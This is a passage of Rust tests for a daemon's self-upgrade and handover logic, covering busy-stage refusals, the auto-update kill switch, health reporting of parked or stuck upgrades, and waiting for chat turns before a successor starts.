15013 let mut beat = crate::daemon::Status::new();
15017 beat.pid = 4321;
15018 beat.updated_at = jiff::Timestamp::now();
15019 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
15020 .expect("publish a heartbeat");
15021
15022 let res = fx.post("/api/upgrade", None).await;
15023 assert_eq!(res.status, 409);
15024 let err = res.json()["error"].as_str().unwrap().to_owned();
15025 assert!(err.contains("4321"), "the refusal names the owner: {err}");
15026 assert!(err.contains("old one against the same queue"), "{err}");
15027 }
15028
15029 #[test]
15036 fn recheck_never_spawns_when_checking_is_off_or_killed_by_env() {
15037 assert!(!should_spawn_recheck(&crate::config::Update {
15038 mode: UpdateMode::Off,
15039 interval: None,
15040 }));
15041
15042 unsafe {
15045 std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
15046 }
15047 let killed = should_spawn_recheck(&crate::config::Update {
15048 mode: UpdateMode::Notify,
15049 interval: None,
15050 });
15051 unsafe {
15052 std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
15053 }
15054 assert!(
15055 !killed,
15056 "MAGI_NO_AUTOUPDATE must stop the periodic recheck, not just the \
15057 one-time startup check"
15058 );
15059
15060 assert!(should_spawn_recheck(&crate::config::Update {
15061 mode: UpdateMode::Notify,
15062 interval: None,
15063 }));
15064 }
15065
15066 #[test]
15072 fn recheck_poll_period_tracks_a_short_configured_interval() {
15073 let short = crate::config::Update {
15074 mode: UpdateMode::Notify,
15075 interval: Some("1m".to_owned()),
15076 };
15077 let period = recheck_poll_period(&short);
15078 assert!(
15079 period <= Duration::from_secs(30),
15080 "a one-minute interval must wake the task far sooner than the \
15081 default ceiling, or the deck would not notice within the \
15082 interval the operator configured: got {period:?}"
15083 );
15084
15085 let default = crate::config::Update {
15086 mode: UpdateMode::Notify,
15087 interval: None,
15088 };
15089 assert_eq!(
15090 recheck_poll_period(&default),
15091 UPDATE_RECHECK_POLL_MAX,
15092 "the default day-long interval should poll at the (capped) \
15093 ceiling rather than needlessly often"
15094 );
15095 }
15096
15097 #[test]
15105 fn recheck_skips_the_network_before_the_interval_elapses() {
15106 let dir = TempDir::new().expect("temp dir");
15107 let path = dir.path().join("state.json");
15108 let state = kaishin::UpdateCheckState {
15109 last_checked_unix: jiff::Timestamp::now().as_second() as u64,
15110 last_known_latest: None,
15111 last_known_url: None,
15112 };
15113 kaishin::save_check_state(&path, &state).expect("seed a just-checked state");
15114
15115 let checker = crate::updater::Checker::for_test(Duration::from_secs(24 * 60 * 60), path);
15116 assert!(
15117 !update_recheck_due(&checker, None),
15118 "a check made moments ago must not be repeated before the \
15119 configured interval elapses"
15120 );
15121 }
15122
15123 #[test]
15129 fn recheck_defers_to_an_upgrade_already_in_flight() {
15130 let dir = TempDir::new().expect("temp dir");
15131 let path = dir.path().join("state.json");
15132 let checker = crate::updater::Checker::for_test(Duration::from_secs(60 * 60), path);
15133 let progress = crate::updater::Progress::new("0.8.0".to_owned(), "v0.9.0".to_owned());
15134
15135 assert!(
15136 !update_recheck_due(&checker, Some(&progress)),
15137 "a recheck must not run while an upgrade this deck started is \
15138 still moving"
15139 );
15140 }
15141
15142 #[tokio::test]
15143 async fn an_upgrade_is_refused_by_the_no_autoupdate_kill_switch() {
15144 unsafe {
15156 std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
15157 }
15158 let fx = Fixture::start().await;
15159 let res = fx.post("/api/upgrade", None).await;
15160 unsafe {
15161 std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
15162 }
15163 assert_eq!(res.status, 200, "not 202: nothing was set in motion");
15164 let body = res.json();
15165 assert!(body["to"].is_null(), "there was no release to move to");
15166 assert!(body["parked"].is_null(), "and nothing was parked");
15167 assert!(
15168 body["detail"]
15169 .as_str()
15170 .unwrap()
15171 .contains("disabled by MAGI_NO_AUTOUPDATE"),
15172 "{body:?}"
15173 );
15174 }
15175
15176 fn seeded_progress(stage: crate::updater::Stage) -> crate::updater::Progress {
15177 let mut p = crate::updater::Progress::new("0.1.0".into(), "v0.2.0".into());
15178 p.stage = stage;
15179 p
15180 }
15181
15182 #[test]
15183 fn busy_stages_match_the_ui_set() {
15184 use crate::updater::Stage;
15185 assert!(APP_JS.contains(
15186 "UPGRADE_BUSY_STAGES = new Set([\"downloading\", \"replaced\", \"parking\", \"restarting\"])"
15187 ));
15188 for s in [
15189 Stage::Downloading,
15190 Stage::Replaced,
15191 Stage::Parking,
15192 Stage::Restarting,
15193 ] {
15194 assert!(upgrade_in_motion(Some(&seeded_progress(s))).is_some());
15195 }
15196 for s in [Stage::Done, Stage::Failed] {
15197 assert!(upgrade_in_motion(Some(&seeded_progress(s))).is_none());
15198 }
15199 assert!(upgrade_in_motion(None).is_none());
15200 }
15201
15202 #[tokio::test]
15203 async fn a_second_upgrade_during_a_busy_stage_is_refused_and_changes_nothing() {
15204 use crate::updater::Stage;
15205 for stage in [
15206 Stage::Downloading,
15207 Stage::Replaced,
15208 Stage::Parking,
15209 Stage::Restarting,
15210 ] {
15211 let fx = Fixture::start().await;
15212 let seeded = seeded_progress(stage);
15213 crate::updater::write_progress(fx.home.path(), &seeded).expect("seed");
15214 let before = std::fs::read_to_string(crate::updater::progress_path(fx.home.path()))
15215 .expect("read");
15216
15217 let res = fx.post("/api/upgrade", None).await;
15218 assert_eq!(res.status, 409, "{stage:?}");
15219 let err = res.json()["error"].as_str().unwrap().to_owned();
15220 assert!(err.contains("already in progress"), "{err}");
15221 assert!(err.contains(stage.as_str()), "{err}");
15222
15223 let after = std::fs::read_to_string(crate::updater::progress_path(fx.home.path()))
15224 .expect("read");
15225 assert_eq!(before, after, "{stage:?}: upgrade.json is untouched");
15226 let log = std::fs::read_to_string(crate::updater::log_path(fx.home.path()))
15227 .unwrap_or_default();
15228 assert!(!log.contains("signalling HANDOVER"), "{log}");
15229 }
15230 }
15231
15232 #[tokio::test]
15233 async fn an_upgrade_after_a_finished_or_failed_one_is_allowed() {
15234 use crate::updater::Stage;
15235 let repo = TempDir::new().expect("repo dir");
15236 std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
15237 .expect("write magi.toml");
15238 let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
15239 for stage in [Stage::Done, Stage::Failed] {
15240 crate::updater::write_progress(fx.home.path(), &seeded_progress(stage)).expect("seed");
15241 let res = fx.post("/api/upgrade", None).await;
15242 assert_eq!(res.status, 200, "{stage:?}");
15243 }
15244 let _ = std::fs::remove_file(crate::updater::progress_path(fx.home.path()));
15246 assert_eq!(fx.post("/api/upgrade", None).await.status, 200);
15247 }
15248
15249 #[tokio::test]
15250 async fn an_upgrade_with_nothing_to_install_changes_nothing() {
15251 let repo = TempDir::new().expect("repo dir");
15267 std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
15268 .expect("write magi.toml");
15269 let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
15270
15271 let res = fx.post("/api/upgrade", None).await;
15277 assert_eq!(res.status, 200, "not 202: nothing was set in motion");
15278 let body = res.json();
15279 assert!(body["to"].is_null(), "there was no release to move to");
15280 assert!(body["parked"].is_null(), "and nothing was parked");
15281 assert!(
15282 body["detail"]
15283 .as_str()
15284 .unwrap()
15285 .contains("nothing restarted"),
15286 "{body:?}"
15287 );
15288 }
15289
15290 #[tokio::test]
15291 async fn health_reports_the_running_version_and_no_pending_upgrade_by_default() {
15292 let repo = TempDir::new().expect("repo dir");
15297 std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
15298 .expect("write magi.toml");
15299 let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
15300
15301 let health = fx.get("/api/health").await.json();
15302 assert_eq!(health["version"], env!("CARGO_PKG_VERSION"));
15303 assert_eq!(
15304 health["update"]["available"], false,
15305 "checking is off, which reads as \"unknown\", not \"none\""
15306 );
15307 assert!(health["update"]["to"].is_null());
15308 assert!(
15309 health["upgrade"].is_null(),
15310 "nothing has ever asked this deck to upgrade"
15311 );
15312 }
15313
15314 #[tokio::test]
15315 async fn health_reports_a_parked_upgrade_and_what_it_is_waiting_on() {
15316 let fx = Fixture::start().await;
15317 write_run(&fx.runs(), "20260905-000000-cd51", RunStatus::Implementing);
15318
15319 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
15320 progress.parked_run = Some("20260905-000000-cd51".to_owned());
15321 progress.advance(crate::updater::Stage::Parking);
15322 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
15323
15324 let health = fx.get("/api/health").await.json();
15325 assert_eq!(health["upgrade"]["stage"], "parking");
15326 assert_eq!(health["upgrade"]["from"], "0.5.1");
15327 assert_eq!(health["upgrade"]["to"], "0.5.2");
15328 let waiting_on = health["upgrade"]["waiting_on"]
15329 .as_str()
15330 .expect("waiting_on is set while parking a known run");
15331 assert!(waiting_on.contains("cd51"), "{waiting_on}");
15332 assert!(waiting_on.contains("implementing"), "{waiting_on}");
15333 }
15334
15335 #[tokio::test]
15336 async fn health_reports_a_finished_upgrade_with_no_waiting_on() {
15337 let fx = Fixture::start().await;
15338 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
15339 progress.advance(crate::updater::Stage::Done);
15340 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
15341
15342 let health = fx.get("/api/health").await.json();
15343 assert_eq!(health["upgrade"]["stage"], "done");
15344 assert!(
15345 health["upgrade"]["waiting_on"].is_null(),
15346 "nothing to wait on once it is done"
15347 );
15348 }
15349
15350 #[tokio::test]
15351 async fn hand_over_advances_the_upgrade_progress_through_parking_and_restarting() {
15352 let home = TempDir::new().expect("temp home");
15353 let runs = home.path().join("runs");
15354 std::fs::create_dir_all(&runs).expect("runs dir");
15355 let ui = Ui::new(
15356 Queue::at(home.path().join("queue")),
15357 Questions::at(home.path().join("questions")),
15358 Talks::at(home.path().join("talks")),
15359 runs,
15360 home.path().to_path_buf(),
15361 PathBuf::from("/repo/magi"),
15362 )
15363 .with_launch(launch_idle);
15364 let looping = ui.looping();
15365 let turns = ui.turns();
15366 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
15367 .await
15368 .expect("bind loopback");
15369 let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
15370
15371 let progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
15372 crate::updater::write_progress(home.path(), &progress).expect("seed progress");
15373
15374 hand_over(
15375 home.path(),
15376 &looping,
15377 &turns,
15378 &|_: &[String]| Duration::from_secs(5),
15379 served,
15380 |_| Ok(1),
15381 )
15382 .await
15383 .expect("hand over");
15384
15385 let after = crate::updater::read_progress(home.path()).expect("progress on disk");
15386 assert_eq!(
15387 after.stage,
15388 crate::updater::Stage::Restarting,
15389 "hand_over owns the record through parking and up to restarting; \
15390 the successor is what finishes it"
15391 );
15392 }
15393
15394 #[tokio::test]
15397 async fn hand_over_calls_the_successor_exactly_once_and_logs_the_steps() {
15398 for fail in [false, true] {
15399 let home = TempDir::new().expect("temp home");
15400 let ui = idle_ui(&home);
15401 let looping = ui.looping();
15402 let turns = ui.turns();
15403 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
15404 .await
15405 .expect("bind loopback");
15406 let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
15407 let progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
15408 crate::updater::write_progress(home.path(), &progress).expect("seed progress");
15409
15410 let calls = std::sync::atomic::AtomicUsize::new(0);
15411 let outcome = hand_over(
15412 home.path(),
15413 &looping,
15414 &turns,
15415 &|_: &[String]| Duration::from_secs(5),
15416 served,
15417 |_| {
15418 calls.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
15419 if fail {
15420 anyhow::bail!("no exec")
15421 } else {
15422 Ok(4242)
15423 }
15424 },
15425 )
15426 .await;
15427 assert_eq!(outcome.is_err(), fail);
15428 assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 1);
15429
15430 let log = std::fs::read_to_string(crate::updater::log_path(home.path()))
15431 .expect("upgrade.log is written under the home");
15432 for step in [
15433 "entered",
15434 "finish_loop",
15435 "listener released",
15436 "starting the successor",
15437 ] {
15438 assert!(log.contains(step), "missing `{step}` in:\n{log}");
15439 }
15440 assert!(
15441 log.contains(if fail { "did not start" } else { "pid 4242" }),
15442 "{log}"
15443 );
15444 }
15445 }
15446
15447 #[tokio::test]
15450 async fn the_handover_signal_wakes_one_waiter_once() {
15451 let signal = Notify::new();
15452 signal.notify_one();
15454 tokio::time::timeout(Duration::from_secs(5), wait_for_handover(&signal))
15455 .await
15456 .expect("an early signal is still seen");
15457 assert!(
15459 tokio::time::timeout(Duration::from_millis(50), wait_for_handover(&signal))
15460 .await
15461 .is_err(),
15462 "a consumed signal must not wake a second time"
15463 );
15464 let signal = std::sync::Arc::new(signal);
15466 let waiter = tokio::spawn({
15467 let signal = std::sync::Arc::clone(&signal);
15468 async move { wait_for_handover(&signal).await }
15469 });
15470 tokio::time::sleep(Duration::from_millis(20)).await;
15471 assert!(!waiter.is_finished(), "nothing was signalled yet");
15472 signal.notify_one();
15473 tokio::time::timeout(Duration::from_secs(5), waiter)
15474 .await
15475 .expect("a late signal wakes the waiter")
15476 .expect("join");
15477 }
15478
15479 #[tokio::test]
15480 async fn health_says_how_long_a_handover_has_been_stuck() {
15481 let fx = Fixture::start().await;
15482 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
15483 progress.advance(crate::updater::Stage::Replaced);
15484 progress.updated_at = Timestamp::now() - Duration::from_secs(600);
15485 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
15486
15487 let health = fx.get("/api/health").await.json();
15488 let stuck = health["upgrade"]["stuck_for_secs"].as_i64().expect("stuck");
15489 assert!(stuck >= 600, "{stuck}");
15490 assert_eq!(health["upgrade"]["stuck_kind"], "never_entered");
15491 assert!(health["upgrade"]["waiting_on"].as_str().is_some());
15492 }
15493
15494 #[tokio::test]
15495 async fn a_second_replaced_write_cannot_pull_a_parking_handover_back() {
15496 let home = tempfile::tempdir().expect("temp home");
15497 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
15498 progress.advance(crate::updater::Stage::Parking);
15499 crate::updater::write_progress(home.path(), &progress).expect("seed");
15500 let mut again = progress.clone();
15502 again.advance(crate::updater::Stage::Replaced);
15503 crate::updater::write_progress(home.path(), &again).expect("replaced");
15504 let fresh = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
15505 crate::updater::write_progress(home.path(), &fresh).expect("downloading");
15506 let after = crate::updater::read_progress(home.path()).expect("record");
15507 assert_eq!(after.stage, crate::updater::Stage::Parking);
15508 }
15509
15510 #[tokio::test]
15511 async fn health_does_not_call_a_live_parking_wait_stuck() {
15512 let fx = Fixture::start().await;
15513 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
15514 progress.parked_run = Some("20260905-000000-cd51".to_owned());
15515 progress.advance(crate::updater::Stage::Parking);
15516 let hours = Duration::from_secs(3 * 3600);
15517 progress.started_at = Timestamp::now() - hours;
15518 progress.updated_at = Timestamp::now() - hours;
15519 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
15520 let _lease = crate::updater::LeaseGuard::enter(
15521 fx.home.path(),
15522 Some("20260905-000000-cd51".to_owned()),
15523 );
15524
15525 let health = fx.get("/api/health").await.json();
15526 assert!(health["upgrade"]["stuck_for_secs"].is_null(), "{health}");
15527 assert!(health["upgrade"]["stuck_kind"].is_null());
15528 assert_eq!(health["upgrade"]["handover_alive"], true);
15529 let waiting_on = health["upgrade"]["waiting_on"]
15530 .as_str()
15531 .expect("waiting_on");
15532 assert!(waiting_on.contains("cd51"), "{waiting_on}");
15533 }
15534
15535 fn idle_ui(home: &TempDir) -> Ui {
15536 let runs = home.path().join("runs");
15537 std::fs::create_dir_all(&runs).expect("runs dir");
15538 Ui::new(
15539 Queue::at(home.path().join("queue")),
15540 Questions::at(home.path().join("questions")),
15541 Talks::at(home.path().join("talks")),
15542 runs,
15543 home.path().to_path_buf(),
15544 PathBuf::from("/repo/magi"),
15545 )
15546 .with_launch(launch_idle)
15547 }
15548
15549 async fn park_fixture(
15550 home: &TempDir,
15551 ) -> (
15552 Ui,
15553 Arc<Mutex<LoopState>>,
15554 Arc<Mutex<TalkTurns>>,
15555 tokio::task::JoinHandle<std::io::Result<()>>,
15556 ) {
15557 let ui = idle_ui(home);
15558 let looping = ui.looping();
15559 let turns = ui.turns();
15560 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
15561 .await
15562 .expect("bind loopback");
15563 let served = tokio::spawn(axum::serve(listener, ui.clone().router()).into_future());
15564 let progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
15565 crate::updater::write_progress(home.path(), &progress).expect("seed progress");
15566 (ui, looping, turns, served)
15567 }
15568
15569 #[tokio::test]
15573 async fn hand_over_waits_for_a_running_chat_turn() {
15574 let home = TempDir::new().expect("temp home");
15575 let (ui, looping, turns, served) = park_fixture(&home).await;
15576 let ui = Arc::new(ui);
15577 let id = "20260901-000000-chat";
15578 let turn = ui.begin_talk_turn(id).expect("claim").expect("free");
15579
15580 let calls = Arc::new(std::sync::atomic::AtomicUsize::new(0));
15581 let handover = tokio::spawn({
15582 let home = home.path().to_path_buf();
15583 let turns = Arc::clone(&turns);
15584 let calls = Arc::clone(&calls);
15585 async move {
15586 hand_over(
15587 &home,
15588 &looping,
15589 &turns,
15590 &|_: &[String]| Duration::from_secs(60),
15591 served,
15592 move |_| {
15593 calls.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
15594 Ok(1)
15595 },
15596 )
15597 .await
15598 }
15599 });
15600
15601 let waiting = async {
15602 for _ in 0..200 {
15603 if crate::updater::read_progress(home.path())
15604 .is_some_and(|p| p.parked_talks == [id.to_owned()])
15605 {
15606 return;
15607 }
15608 tokio::time::sleep(Duration::from_millis(25)).await;
15609 }
15610 panic!("the park never named the chat turn");
15611 };
15612 waiting.await;
15613 assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 0);
15614
15615 let refused = ui.begin_talk_turn("20260901-000000-late").err();
15618 assert!(
15619 refused.is_some_and(|e| e.message.contains("upgrade in progress")),
15620 "a direct start says an upgrade is in progress"
15621 );
15622 assert!(
15623 ui.begin_queued_talk_turn("20260901-000000-late")
15624 .expect("queued claim")
15625 .is_none()
15626 );
15627 assert!(matches!(
15628 ui.begin_talk_turn_unless_pending("20260901-000000-late")
15629 .expect("start"),
15630 TalkTurnStart::Busy
15631 ));
15632 assert_eq!(turns.lock().unwrap().live.len(), 1);
15633
15634 let progress = crate::updater::read_progress(home.path()).expect("progress");
15636 let view = upgrade_progress_view(&ui, progress);
15637 assert!(
15638 view.waiting_on.as_deref().is_some_and(|w| w.contains(id)),
15639 "{:?}",
15640 view.waiting_on
15641 );
15642
15643 assert!(!handover.is_finished());
15644 assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 0);
15645 drop(turn);
15646 handover.await.expect("join").expect("hand over");
15647 assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 1);
15648 assert!(!turns.lock().unwrap().parking, "slots reopen afterwards");
15649 }
15650
15651 #[tokio::test]
15654 async fn hand_over_keeps_chat_open_until_the_loop_is_done() {
15655 let home = TempDir::new().expect("temp home");
15656 let (ui, looping, turns, served) = park_fixture(&home).await;
15657 let ui = Arc::new(ui);
15658 let (end_loop, loop_ended) = tokio::sync::oneshot::channel::<()>();
15660 lock_or_recover(&looping).live = Some(Live {
15661 stop: daemon::Stop::new(),
15662 handle: tokio::spawn(async move {
15663 let _ = loop_ended.await;
15664 }),
15665 opts: daemon::Opts::default(),
15666 });
15667
15668 let calls = Arc::new(std::sync::atomic::AtomicUsize::new(0));
15669 let handover = tokio::spawn({
15670 let home = home.path().to_path_buf();
15671 let turns = Arc::clone(&turns);
15672 let calls = Arc::clone(&calls);
15673 async move {
15674 hand_over(
15675 &home,
15676 &looping,
15677 &turns,
15678 &|_: &[String]| Duration::from_secs(60),
15679 served,
15680 move |_| {
15681 calls.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
15682 Ok(1)
15683 },
15684 )
15685 .await
15686 }
15687 });
15688
15689 let reached = async {
15690 for _ in 0..200 {
15691 if crate::updater::read_progress(home.path())
15692 .is_some_and(|p| p.stage == crate::updater::Stage::Parking)
15693 {
15694 return;
15695 }
15696 tokio::time::sleep(Duration::from_millis(25)).await;
15697 }
15698 panic!("the hand-over never reached parking");
15699 };
15700 reached.await;
15701
15702 assert!(!turns.lock().unwrap().parking);
15704 let turn = ui
15705 .begin_talk_turn("20260901-000000-chat")
15706 .expect("claim")
15707 .expect("a turn can start while the loop parks");
15708
15709 end_loop.send(()).expect("loop still waiting");
15711 for _ in 0..200 {
15712 if turns.lock().unwrap().parking {
15713 break;
15714 }
15715 tokio::time::sleep(Duration::from_millis(25)).await;
15716 }
15717 assert!(
15718 turns.lock().unwrap().parking,
15719 "closed once the loop is done"
15720 );
15721 let refused = ui.begin_talk_turn("20260901-000000-late").err();
15722 assert!(
15723 refused.is_some_and(|e| e.message.contains("upgrade in progress")),
15724 "no turn starts once the loop is done"
15725 );
15726 assert!(
15727 ui.begin_queued_talk_turn("20260901-000000-late")
15728 .expect("queued claim")
15729 .is_none()
15730 );
15731 assert!(!handover.is_finished());
15732 assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 0);
15733
15734 drop(turn);
15735 handover.await.expect("join").expect("hand over");
15736 assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 1);
15737 assert!(!turns.lock().unwrap().parking, "slots reopen afterwards");
15738 }
15739
15740 #[tokio::test]
15743 async fn hand_over_gives_up_on_a_stuck_chat_turn_after_the_bound() {
15744 let home = TempDir::new().expect("temp home");
15745 let (ui, looping, turns, served) = park_fixture(&home).await;
15746 let id = "20260901-000000-stuk";
15747 let _turn = ui.begin_talk_turn(id).expect("claim").expect("free");
15748
15749 let calls = std::sync::atomic::AtomicUsize::new(0);
15750 hand_over(
15751 home.path(),
15752 &looping,
15753 &turns,
15754 &|_: &[String]| Duration::from_millis(300),
15755 served,
15756 |_| {
15757 calls.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
15758 Ok(1)
15759 },
15760 )
15761 .await
15762 .expect("hand over");
15763 assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 1);
15764
15765 let progress = crate::updater::read_progress(home.path()).expect("progress");
15766 assert_eq!(progress.stage, crate::updater::Stage::Restarting);
15767 assert!(
15768 progress.detail.as_deref().is_some_and(|d| d.contains(id)),
15769 "{:?}",
15770 progress.detail
15771 );
15772 let log = std::fs::read_to_string(crate::updater::log_path(home.path())).expect("log");
15773 assert!(
15774 log.contains("handing over anyway") && log.contains(id),
15775 "{log}"
15776 );
15777 }
15778
15779 #[tokio::test]
15782 async fn drain_loop_starts_no_turn_while_parking() {
15783 let tmp = TempDir::new().expect("tempdir");
15784 let repo = tmp.path().join("repo");
15785 std::fs::create_dir_all(&repo).expect("repo dir");
15786 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
15787 let home = TempDir::new().expect("temp home");
15788 let talks = Talks::at(home.path().join("talks"));
15789 let ui = Ui::new(
15790 Queue::at(home.path().join("queue")),
15791 Questions::at(home.path().join("questions")),
15792 talks.clone(),
15793 home.path().join("runs"),
15794 home.path().to_path_buf(),
15795 repo.clone(),
15796 )
15797 .with_worktrees_root(home.path().join("wt"));
15798 let cfg = config_for(&repo).await.expect("discover config");
15799 let mut talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
15800 let id = talk.id.clone();
15801 talk::queue(&mut talk, &talks, "later", Vec::new()).expect("queue");
15802 let turn = ui.begin_talk_turn(&id).expect("claim").expect("free");
15803 let turns = ui.turns();
15804 let parking = ParkingTurns::begin(&turns);
15805
15806 drain_loop(talk, talks.clone(), cfg, id.clone(), turn).await;
15807
15808 assert!(
15809 turns.lock().unwrap().live.is_empty(),
15810 "the slot is given up"
15811 );
15812 let fresh = talks.get(&id).expect("talk");
15813 assert_eq!(fresh.pending, "later", "the draft is still queued");
15814 assert!(fresh.turns.is_empty(), "no turn ran");
15815 drop(parking);
15816 }
15817
15818 async fn handed_over(home: &TempDir, ui: Ui) -> bool {
15820 let looping = ui.looping();
15821 let turns = ui.turns();
15822 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
15823 .await
15824 .expect("bind loopback");
15825 let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
15826 let told = std::sync::Mutex::new(None);
15827 hand_over(
15828 home.path(),
15829 &looping,
15830 &turns,
15831 &|_: &[String]| Duration::from_secs(5),
15832 served,
15833 |resume| {
15834 *told.lock().unwrap() = Some(resume);
15835 Ok(1)
15836 },
15837 )
15838 .await
15839 .expect("hand over");
15840 told.into_inner().unwrap().expect("successor was started")
15841 }
15842
15843 #[tokio::test]
15844 async fn a_running_loop_is_resumed_by_the_successor() {
15845 let home = TempDir::new().expect("temp home");
15846 let ui = idle_ui(&home);
15847 ui.start_loop(None).expect("start");
15848 ui.park_for_upgrade().expect("park");
15849 for _ in 0..500 {
15851 if !ui.loop_view(None).running {
15852 break;
15853 }
15854 tokio::time::sleep(Duration::from_millis(2)).await;
15855 }
15856 assert!(handed_over(&home, ui).await, "a running loop must resume");
15857
15858 let successor = idle_ui(&home);
15859 assert!(!successor.loop_view(None).running);
15860 assert!(successor.resume_after_handover(true));
15861 assert!(successor.loop_view(None).running);
15862 successor.stop_loop(None, false).expect("stop");
15863 }
15864
15865 #[tokio::test]
15866 async fn a_second_upgrade_request_keeps_the_resume_intent() {
15867 let home = TempDir::new().expect("temp home");
15868 let ui = idle_ui(&home);
15869 ui.start_loop(None).expect("start");
15870 ui.park_for_upgrade().expect("first park");
15871 ui.park_for_upgrade().expect("second park");
15872 assert!(handed_over(&home, ui).await);
15873 }
15874
15875 #[tokio::test]
15876 async fn a_stop_during_the_handover_wait_is_honoured() {
15877 let home = TempDir::new().expect("temp home");
15878 let ui = idle_ui(&home);
15879 ui.start_loop(None).expect("start");
15880 ui.park_for_upgrade().expect("park");
15881 ui.stop_loop(None, false).expect("stop");
15882 assert!(!handed_over(&home, ui).await);
15883 }
15884
15885 #[tokio::test]
15886 async fn an_idle_loop_stays_stopped_across_the_handover() {
15887 let home = TempDir::new().expect("temp home");
15888 let ui = idle_ui(&home);
15889 ui.park_for_upgrade().expect("park");
15890 assert!(!handed_over(&home, ui).await);
15891
15892 let successor = idle_ui(&home);
15893 assert!(!successor.resume_after_handover(false));
15894 assert!(!successor.loop_view(None).running);
15895 }
15896
15897 #[tokio::test]
15898 async fn a_loop_the_operator_stopped_is_not_resumed() {
15899 let home = TempDir::new().expect("temp home");
15900 let ui = idle_ui(&home);
15901 ui.start_loop(None).expect("start");
15902 ui.stop_loop(None, false).expect("stop");
15903 ui.park_for_upgrade().expect("park");
15904 assert!(!handed_over(&home, ui).await);
15905 }
15906
15907 #[test]
15908 fn only_an_explicit_one_requests_a_resume() {
15909 assert!(!resume_requested(None));
15910 assert!(!resume_requested(Some("0".into())));
15911 assert!(!resume_requested(Some("".into())));
15912 assert!(resume_requested(Some("1".into())));
15913 }
15914
15915 #[test]
15916 fn the_upgrade_button_arms_before_it_restarts_anything() {
15917 assert!(APP_JS.contains("upgrade: \"/api/upgrade\""));
15920 assert!(APP_JS.contains("Replace the binary and restart?"));
15921 assert!(APP_JS.contains("function confirmed("));
15922 assert!(APP_JS.contains("show(upgradeBtn, !foreign && update.available)"));
15927 assert!(
15931 APP_JS.contains("Parking, then restarting"),
15932 "the button says what it is waiting for"
15933 );
15934 assert!(APP_JS.contains("if (!out.to)"));
15937 }
15938
15939 #[test]
15940 fn stopping_the_loop_arms_but_starting_does_not() {
15941 assert!(APP_JS.contains("Finish the run(s) in flight, then stop claiming?"));
15944 assert!(APP_JS.contains("Stop claiming new tasks? Nothing is in flight."));
15945 assert!(APP_JS.contains("confirmed(button, question)"));
15946 assert!(!APP_JS.contains("setText(btn, \"Update & restart\");\n }\n }, 6000)"));
15949 assert!(APP_JS.contains("const label = btn.textContent;"));
15950 assert!(!APP_JS.contains("Neither direction is guarded"));
15951 }
15952
15953 #[test]
15954 fn the_running_version_is_shown_regardless_of_whether_an_update_exists() {
15955 assert!(
15956 APP_JS.contains("state.health.version"),
15957 "the operator wants to know what is running even with nothing newer"
15958 );
15959 assert!(APP_JS.contains("id=\"daemon-version\"") || APP_CSS.contains(".daemon-version"));
15960 }
15961
15962 #[test]
15963 fn the_upgrade_button_names_its_destination() {
15964 assert!(
15965 APP_JS.contains("`Update to ${update.to}`"),
15966 "pressing the button should not be a surprise about what it moves to"
15967 );
15968 }
15969
15970 #[test]
15971 fn an_upgrade_in_progress_is_shown_as_stages_not_as_an_error() {
15972 for stage in ["downloading", "replaced", "parking", "restarting"] {
15973 assert!(
15974 APP_JS.contains(&format!("\"{stage}\"")),
15975 "the phone must be able to tell {stage} apart from the others"
15976 );
15977 }
15978 assert!(APP_JS.contains(".waiting_on"));
15979 assert!(APP_JS.contains("function reportUnreachableDuringUpgrade("));
15984 assert!(APP_JS.contains("reconnects on its own"));
15985 }
15986
15987 #[test]
15988 fn a_failed_upgrade_does_not_lock_the_loop_controls() {
15989 let body = &APP_JS[APP_JS.find("function renderLoop(").expect("renderLoop")
15998 ..APP_JS.find("function upgrade(").expect("upgrade")];
15999 assert!(
16000 !body.contains(
